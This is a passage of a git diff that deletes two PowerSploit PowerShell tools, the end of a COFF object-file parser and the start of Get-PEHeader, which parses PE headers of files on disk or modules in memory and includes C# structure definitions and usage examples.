SymbolTableIndex; - public Enum Type; - public string Name; - - public RelocationEntry(BinaryReader br) - { - this.VirtualAddress = br.ReadUInt32(); - this.SymbolTableIndex = br.ReadUInt32(); - // Default to X86RelocationType. This will be changed once the processor type is determined - this.Type = (X86RelocationType) br.ReadUInt16(); - } - } - - public class SECTION_HEADER - { - public string Name; - public uint PhysicalAddress; - public uint VirtualSize; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public SectionHeaderCharacteristics Characteristics; - public Byte[] RawData; - public RelocationEntry[] Relocations; - - public SECTION_HEADER(BinaryReader br) - { - this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; - this.PhysicalAddress = br.ReadUInt32(); - this.VirtualSize = this.PhysicalAddress; - this.VirtualAddress = br.ReadUInt32(); - this.SizeOfRawData = br.ReadUInt32(); - this.PointerToRawData = br.ReadUInt32(); - this.PointerToRelocations = br.ReadUInt32(); - this.PointerToLinenumbers = br.ReadUInt32(); - this.NumberOfRelocations = br.ReadUInt16(); - this.NumberOfLinenumbers = br.ReadUInt16(); - this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32(); - } - } - - public enum SectionNumber : short - { - UNDEFINED, - ABSOLUTE = -1, - DEBUG = -2 - } - - [Flags] - public enum TypeClass : short - { - TYPE_NULL, - TYPE_VOID, - TYPE_CHAR, - TYPE_SHORT, - TYPE_INT, - TYPE_LONG, - TYPE_FLOAT, - TYPE_DOUBLE, - TYPE_STRUCT, - TYPE_UNION, - TYPE_ENUM, - TYPE_MOE, - TYPE_BYTE, - TYPE_WORD, - TYPE_UINT, - TYPE_DWORD, - DTYPE_POINTER = 0x100, - DTYPE_FUNCTION = 0x200, - DTYPE_ARRAY = 0x300, - DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB - } - - public enum StorageClass : byte - { - NULL, - AUTOMATIC, - EXTERNAL, - STATIC, - REGISTER, - EXTERNAL_DEF, - LABEL, - UNDEFINED_LABEL, - MEMBER_OF_STRUCT, - ARGUMENT, - STRUCT_TAG, - MEMBER_OF_UNION, - UNION_TAG, - TYPE_DEFINITION, - ENUM_TAG, - MEMBER_OF_ENUM, - REGISTER_PARAM, - BIT_FIELD, - BLOCK = 0x64, - FUNCTION = 0x65, - END_OF_STRUCT = 0x66, - FILE = 0x67, - SECTION = 0x68, - WEAK_EXTERNAL = 0x69, - CLR_TOKEN = 0x6B, - END_OF_FUNCTION = 0xFF - } - - public class SYMBOL_TABLE - { - public string Name; - public uint Value; - public SectionNumber SectionNumber; - public TypeClass Type; - public StorageClass StorageClass; - public byte NumberOfAuxSymbols; - public Object AuxSymbols; - private Byte[] NameArray; - - public SYMBOL_TABLE(BinaryReader br) - { - this.NameArray = br.ReadBytes(8); - - if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0) - { - // Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table - this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString(); - } - else - { - this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0)); - } - - this.Value = br.ReadUInt32(); - this.SectionNumber = (SectionNumber) br.ReadInt16(); - this.Type = (TypeClass) br.ReadInt16(); - if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());} - this.StorageClass = (StorageClass) br.ReadByte(); - this.NumberOfAuxSymbols = br.ReadByte(); - } - } - - public class SECTION_DEFINITION - { - public uint Length; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public uint CheckSum; - public ushort Number; - public byte Selection; - - public SECTION_DEFINITION(BinaryReader br) - { - this.Length = br.ReadUInt32(); - this.NumberOfRelocations = br.ReadUInt16(); - this.NumberOfLinenumbers = br.ReadUInt16(); - this.CheckSum = br.ReadUInt32(); - this.Number = br.ReadUInt16(); - this.Selection = br.ReadByte(); - br.ReadBytes(3); - } - } - } -'@ - - Add-Type -TypeDefinition $Code - - function Dispose-Objects - { - $BinaryReader.Dispose() - $FileStream.Dispose() - } - } - - PROCESS - { - foreach ($File in $Path) { - - # Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path. - $ObjFilePath = Resolve-Path $File - - # Pull out just the file name - $ObjFileName = Split-Path $ObjFilePath -Leaf - - # Fixed structure sizes - $SizeofCOFFFileHeader = 20 - $SizeofSectionHeader = 40 - $SizeofSymbolTableEntry = 18 - $SizeofRelocationEntry = 10 - - # Open the object file for reading - $FileStream = [IO.File]::OpenRead($ObjFilePath) - - $FileLength = $FileStream.Length - - if ($FileLength -lt $SizeofCOFFFileHeader) - { - # You cannot parse the COFF header if the file is not big enough to contain a COFF header. - Write-Error "$($ObjFileName) is too small to store a COFF header." - Dispose-Objects - return - } - - # Open a BinaryReader object for the object file - $BinaryReader = New-Object IO.BinaryReader($FileStream) - - # Parse the COFF header - $CoffHeader = New-Object COFF.HEADER($BinaryReader) - - if ($CoffHeader.SizeOfOptionalHeader -ne 0) - { - # Per the PECOFF specification, an object file does not have an optional header - Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header." - Dispose-Objects - return - } - - if ($CoffHeader.PointerToSymbolTable -eq 0) - { - Write-Error 'An object file is supposed to have a symbol table.' - Dispose-Objects - return - } - - if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader)) - { - # The object file isn't big enough to store the number of sections present. - Write-Error "$($ObjFileName) is too small to store section header data." - Dispose-Objects - return - } - - # A string collection used to store section header names. This collection is referenced while - # parsing the symbol table entries whose name is the same as the section header. In this case, - # the symbol entry will have a particular auxiliary symbol table entry. - $SectionHeaderNames = New-Object Collections.Specialized.StringCollection - - # Correlate the processor type to the relocation type. There are more relocation type defined - # in the PECOFF specification, but I don't expect those to be present. In that case, relocation - # entries default to X86RelocationType. - $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) - $MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType] - [COFF.Machine]::AMD64 = [COFF.AMD64RelocationType] - [COFF.Machine]::ARMV7 = [COFF.ARMRelocationType] - [COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] } - - # Parse section headers - for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) - { - $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) - - # Add the section name to the string collection. This will be referenced during symbol table parsing. - $SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null - - # Save the current filestream position. We are about to jump out of place. - $SavedFilePosition = $FileStream.Position - - # Check to see if the raw data points beyond the actual file size - if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength) - { - Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file." - return - } - else - { - # Read the raw data into a byte array - $FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null - $SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData) - } - - # Check to see if the section has a relocation table - if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations) - { - # Check to see if the relocation entries point beyond the actual file size - if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength) - { - Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file." - return - } - - $FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null - - $Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations) - - for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++) - { - $Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader) - # Cast the relocation as its respective type - $Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine]) - } - - # Add the relocation table entry to the section header - $SectionHeaders[$i].Relocations = $Relocations - } - - # Restore the original filestream pointer - $FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null - } - - # Retrieve the contents of the COFF string table - $SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry - $StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize - - if ($StringTableOffset -gt $FileLength) - { - Write-Error 'The string table points beyond the end of the file.' - Dispose-Objects - return - } - - $FileStream.Seek($StringTableOffset, 'Begin') | Out-Null - $StringTableLength = $BinaryReader.ReadUInt32() - - if ($StringTableLength -gt $FileLength) - { - Write-Error "The string table's length exceeds the length of the file." - Dispose-Objects - return - } - - $StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength)) - - $RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols) - - # Retrieve the symbol table - if ($FileLength -lt $StringTableOffset) - { - "Symbol table is larger than the file size." - return - } - - $FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null - $NumberofRegularSymbols = 0 - - <# - Go through each symbol table looking for auxiliary symbols to parse - - Currently supported auxiliary symbol table entry formats: - 1) .file - 2) Entry names that match the name of a section header - #> - for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) - { - # Parse the symbol tables regardless of whether they are normal or auxiliary symbols - $RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader) - - if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0) - { - # This symbol table entry has no auxiliary symbols - $NumberofRegularSymbols++ - } - elseif ($RawSymbolTable[$i].Name -eq '.file') - { - $TempPosition = $FileStream.Position # Save filestream position - # Retrieve the file name - $RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0)) - $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position - } - elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name)) - { - $TempPosition = $FileStream.Position # Save filestream position - $RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader) - $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position - } - } - - # Create an array of symbol table entries without auxiliary table entries - $SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols) - $j = 0 - - for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) - { - $SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol - $j++ - - # Skip over the auxiliary symbols - if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0) - { - $i += $RawSymbolTable[$i].NumberOfAuxSymbols - } - } - - # Dispose the binaryreader and filestream objects - Dispose-Objects - - # Fix the section names if any of them point to the COFF string table - for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) - { - if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0) - { - $StringTableIndex = $SectionHeaders[$i].Name.SubString(1) - - if ($StringTableIndex -match '^[1-9][0-9]*$') - { - $StringTableIndex = ([Int] $StringTableIndex) - 4 - - if ($StringTableIndex -gt ($StringTableLength + 4)) - { - Write-Error 'String table entry exceeds the bounds of the object file.' - } - - $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length) - } - } - } - - # Fix the symbol table names - for ($i = 0; $i -lt $SymbolTable.Length; $i++) - { - if ($SymbolTable[$i].Name.IndexOf('/') -eq 0) - { - $StringTableIndex = $SymbolTable[$i].Name.SubString(1) - - if ($StringTableIndex -match '^[1-9][0-9]*$') - { - $StringTableIndex = ([Int] $StringTableIndex) - 4 - $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex - $SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length) - } - } - } - - # Apply symbol names to the relocation entries - $SectionHeaders | Where-Object { $_.Relocations } | % { - $_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name } - } - - $Result = @{ - COFFHeader = $CoffHeader - SectionHeaders = $SectionHeaders - SymbolTable = $SymbolTable - } - - $ParsedObjectFile = New-Object PSObject -Property $Result - $ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE' - Write-Output $ParsedObjectFile - - } - } - - END {} -} diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 deleted file mode 100644 index 00213772..00000000 --- a/PETools/Get-PEHeader.ps1 +++ /dev/null @@ -1,960 +0,0 @@ -function Get-PEHeader -{ -<# -.SYNOPSIS - -Parses and outputs the PE header of a process in memory or a PE file on disk. - -PowerSploit Function: Get-PEHeader -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: PETools.format.ps1xml - -.DESCRIPTION - -Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules. - -.PARAMETER FilePath - -Specifies the path to the portable executable file on disk - -.PARAMETER ProcessID - -Specifies the process ID. - -.PARAMETER Module - -The name of the module. This parameter is typically only used in pipeline expressions - -.PARAMETER ModuleBaseAddress - -The base address of the module - -.PARAMETER GetSectionData - -Retrieves raw section data. - -.OUTPUTS - -System.Object - -Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature. - -.EXAMPLE - -C:\PS> Get-Process cmd | Get-PEHeader - -Description ------------ -Returns the full PE headers of every loaded module in memory - -.EXAMPLE - -C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader - -Description ------------ -Returns the full PE headers of every exe in C:\Windows\ - -.EXAMPLE - -C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll - -Module : C:\Windows\System32\kernel32.dll -DOSHeader : PE+_IMAGE_DOS_HEADER -FileHeader : PE+_IMAGE_FILE_HEADER -OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32 -SectionHeaders : {.text, .data, .rsrc, .reloc} -Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0. - dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS - -Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu - reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650} - , @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...} -Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar - dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=; - FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN - ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...} - -.EXAMPLE - -C:\PS> $Proc = Get-Process cmd -C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress -C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base - -Module : -DOSHeader : PE+_IMAGE_DOS_HEADER -FileHeader : PE+_IMAGE_FILE_HEADER -OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32 -SectionHeaders : {.text, .data, .rsrc, .reloc} -Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0. - dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS - -Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu - reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277} - , @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...} -Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar - dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=; - FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN - ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...} - -Description ------------ -A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll). - -.NOTES - -Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process. - -.LINK - -http://www.exploit-monday.com/2012/07/get-peheader.html -#> - - [CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param ( - [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath, - [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID, - [Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module, - [Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress, - [Parameter()] [Switch] $GetSectionData - ) - -PROCESS { - - switch ($PsCmdlet.ParameterSetName) { - 'OnDisk' { - - if ($FilePath.Length -gt 1) { - foreach ($Path in $FilePath) { Get-PEHeader $Path } - } - - if (!(Test-Path $FilePath)) { - Write-Warning 'Invalid path or file does not exist.' - return - } - - $FilePath = Resolve-Path $FilePath - - if ($FilePath.GetType() -eq [System.Array]) { - $ModuleName = $FilePath[0] - } else { - $ModuleName = $FilePath - } - - } - 'InMemory' { - - if ($Module.Length -gt 1) { - foreach ($Mod in $Module) { - $BaseAddr = $Mod.BaseAddress - Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr - } - } - - if (-not $ModuleBaseAddress) { return } - - if ($ProcessID -eq $PID) { - Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.' - return - } - - if ($Module) { - $ModuleName = $Module[0].FileName - } else { - $ModuleName = '' - } - - } - } - - try { [PE] | Out-Null } catch [Management.Automation.RuntimeException] - { - $code = @" - using System; - using System.Runtime.InteropServices; - - public class PE - { - [Flags] - public enum IMAGE_DOS_SIGNATURE : ushort - { - DOS_SIGNATURE = 0x5A4D, // MZ - OS2_SIGNATURE = 0x454E, // NE - OS2_SIGNATURE_LE = 0x454C, // LE - VXD_SIGNATURE = 0x454C, // LE - } - - [Flags] - public enum IMAGE_NT_SIGNATURE : uint - { - VALID_PE_SIGNATURE = 0x00004550 // PE00 - } - - [Flags] - public enum IMAGE_FILE_MACHINE : ushort - { - UNKNOWN = 0, - I386 = 0x014c, // Intel 386. - R3000 = 0x0162, // MIPS little-endian =0x160 big-endian - R4000 = 0x0166, // MIPS little-endian - R10000 = 0x0168, // MIPS little-endian - WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2 - ALPHA = 0x0184, // Alpha_AXP - SH3 = 0x01a2, // SH3 little-endian - SH3DSP = 0x01a3, - SH3E = 0x01a4, // SH3E little-endian - SH4 = 0x01a6, // SH4 little-endian - SH5 = 0x01a8, // SH5 - ARM = 0x01c0, // ARM Little-Endian - THUMB = 0x01c2, - ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian - AM33 = 0x01d3, - POWERPC = 0x01F0, // IBM PowerPC Little-Endian - POWERPCFP = 0x01f1, - IA64 = 0x0200, // Intel 64 - MIPS16 = 0x0266, // MIPS - ALPHA64 = 0x0284, // ALPHA64 - MIPSFPU = 0x0366, // MIPS - MIPSFPU16 = 0x0466, // MIPS - AXP64 = ALPHA64, - TRICORE = 0x0520, // Infineon - CEF = 0x0CEF, - EBC = 0x0EBC, // EFI public byte Code - AMD64 = 0x8664, // AMD64 (K8) - M32R = 0x9041, // M32R little-endian - CEE = 0xC0EE - } - - [Flags] - public enum IMAGE_FILE_CHARACTERISTICS : ushort - { - IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file. - IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references). - IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file. - IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file. - IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set - IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses - IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed. - IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine. - IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file - IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file. - IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file. - IMAGE_SYSTEM = 0x1000, // System File. - IMAGE_DLL = 0x2000, // File is a DLL. - IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine - IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed. - } - - [Flags] - public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort - { - PE32 = 0x10b, - PE64 = 0x20b - } - - [Flags] - public enum IMAGE_SUBSYSTEM : ushort - { - UNKNOWN = 0, // Unknown subsystem. - NATIVE = 1, // Image doesn't require a subsystem. - WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3, // Image runs in the Windows character subsystem. - OS2_CUI = 5, // image runs in the OS/2 character subsystem. - POSIX_CUI = 7, // image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8, // image is a native Win9x driver. - WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10, - EFI_BOOT_SERVICE_DRIVER = 11, - EFI_RUNTIME_DRIVER = 12, - EFI_ROM = 13, - XBOX = 14, - WINDOWS_BOOT_APPLICATION = 16 - } - - [Flags] - public enum IMAGE_DLLCHARACTERISTICS : ushort - { - DYNAMIC_BASE = 0x0040, // DLL can move. - FORCE_INTEGRITY = 0x0080, // Code Integrity Image - NX_COMPAT = 0x0100, // Image is NX compatible - NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it - NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image - NO_BIND = 0x0800, // Do not bind this image. - WDM_DRIVER = 0x2000, // Driver uses WDM model - TERMINAL_SERVER_AWARE = 0x8000 - } - - [Flags] - public enum IMAGE_SCN : uint - { - TYPE_NO_PAD = 0x00000008, // Reserved. - CNT_CODE = 0x00000020, // Section contains code. - CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data. - CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data. - LNK_INFO = 0x00000200, // Section contains comments or some other type of information. - LNK_REMOVE = 0x00000800, // Section contents will not become part of image. - LNK_COMDAT = 0x00001000, // Section contents comdat. - NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section. - GPREL = 0x00008000, // Section content can be accessed relative to GP - MEM_FARDATA = 0x00008000, - MEM_PURGEABLE = 0x00020000, - MEM_16BIT = 0x00020000, - MEM_LOCKED = 0x00040000, - MEM_PRELOAD = 0x00080000, - ALIGN_1BYTES = 0x00100000, - ALIGN_2BYTES = 0x00200000, - ALIGN_4BYTES = 0x00300000, - ALIGN_8BYTES = 0x00400000, - ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified. - ALIGN_32BYTES = 0x00600000, - ALIGN_64BYTES = 0x00700000, - ALIGN_128BYTES = 0x00800000, - ALIGN_256BYTES = 0x00900000, - ALIGN_512BYTES = 0x00A00000, - ALIGN_1024BYTES = 0x00B00000, - ALIGN_2048BYTES = 0x00C00000, - ALIGN_4096BYTES = 0x00D00000, - ALIGN_8192BYTES = 0x00E00000, - ALIGN_MASK = 0x00F00000, - LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. - MEM_DISCARDABLE = 0x02000000, // Section can be discarded. - MEM_NOT_CACHED = 0x04000000, // Section is not cachable. - MEM_NOT_PAGED = 0x08000000, // Section is not pageable. - MEM_SHARED = 0x10000000, // Section is shareable. - MEM_EXECUTE = 0x20000000, // Section is executable. - MEM_READ = 0x40000000, // Section is readable. - MEM_WRITE = 0x80000000 // Section is writeable. - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_DOS_HEADER - { - public IMAGE_DOS_SIGNATURE e_magic; // Magic number - public ushort e_cblp; // public bytes on last page of file - public ushort e_cp; // Pages in file - public ushort e_crlc; // Relocations - public ushort e_cparhdr; // Size of header in paragraphs - public ushort e_minalloc; // Minimum extra paragraphs needed - public ushort e_maxalloc; // Maximum extra paragraphs needed - public ushort e_ss; // Initial (relative) SS value - public ushort e_sp; // Initial SP value - public ushort e_csum; // Checksum - public ushort e_ip; // Initial IP value - public ushort e_cs; // Initial (relative) CS value - public ushort e_lfarlc; // File address of relocation table - public ushort e_ovno; // Overlay number - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] - public string e_res; // This will contain 'Detours!' if patched in memory - public ushort e_oemid; // OEM identifier (for e_oeminfo) - public ushort e_oeminfo; // OEM information; e_oemid specific - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4 - public ushort[] e_res2; // Reserved public ushorts - public int e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_FILE_HEADER - { - public IMAGE_FILE_MACHINE Machine; - public ushort NumberOfSections; - public uint TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public IMAGE_FILE_CHARACTERISTICS Characteristics; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_NT_HEADERS32 - { - public IMAGE_NT_SIGNATURE Signature; - public _IMAGE_FILE_HEADER FileHeader; - public _IMAGE_OPTIONAL_HEADER32 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_NT_HEADERS64 - { - public IMAGE_NT_SIGNATURE Signature; - public _IMAGE_FILE_HEADER FileHeader; - public _IMAGE_OPTIONAL_HEADER64 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_OPTIONAL_HEADER32 - { - public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public uint BaseOfData; - public uint ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public IMAGE_SUBSYSTEM Subsystem; - public IMAGE_DLLCHARACTERISTICS DllCharacteristics; - public uint SizeOfStackReserve; - public uint SizeOfStackCommit; - public uint SizeOfHeapReserve; - public uint SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)] - public _IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_OPTIONAL_HEADER64 - { - public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public ulong ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public IMAGE_SUBSYSTEM Subsystem; - public IMAGE_DLLCHARACTERISTICS DllCharacteristics; - public ulong SizeOfStackReserve; - public ulong SizeOfStackCommit; - public ulong SizeOfHeapReserve; - public ulong SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)] - public _IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_DATA_DIRECTORY - { - public uint VirtualAddress; - public uint Size; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_EXPORT_DIRECTORY - { - public uint Characteristics; - public uint TimeDateStamp; - public ushort MajorVersion; - public ushort MinorVersion; - public uint Name; - public uint 